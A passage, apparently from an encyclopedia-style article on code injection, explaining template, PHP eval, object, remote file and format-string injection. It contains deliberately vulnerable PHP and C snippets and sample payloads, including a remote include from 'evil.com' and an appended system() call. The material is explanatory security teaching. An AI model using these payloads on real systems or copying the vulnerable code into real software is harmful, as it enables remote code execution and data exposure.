choose to inject {{7*'7'}} which the renderer could resolve to Hello 7777777. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to Remote code execution. Dynamic evaluation vulnerabilities An eval() injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call. $myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';'); The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo". Object injection PHP allows serialization and deserialization of whole objects. If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks. Such an attack on Joomla was found in 2013. Remote file injection Consider this PHP program (which includes a file specified by request): <?php $color = 'blue'; if (isset($_GET['color'])) $color = $_GET['color']; require($color . '.php'); The example might be read as only color-files like blue.php and red.php could be loaded, while attackers might provide COLOR=http://evil.com/exploit causing PHP to load the external file. Format specifier injection Format string bugs most commonly appear when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char array password which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string. char user_input[100]; int int_in; char password[10] = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;If the user input is filled with a list of format specifiers such as %s%s%s%s%s%s%s%s , then printf()will start reading from the stack. Eventually, one of the %s format specifier will access the address of password , which is on the stack, and print Password1 to the screen. Shell injection Shell injection (or command injection) is named after Unix shells, but applies to most systems which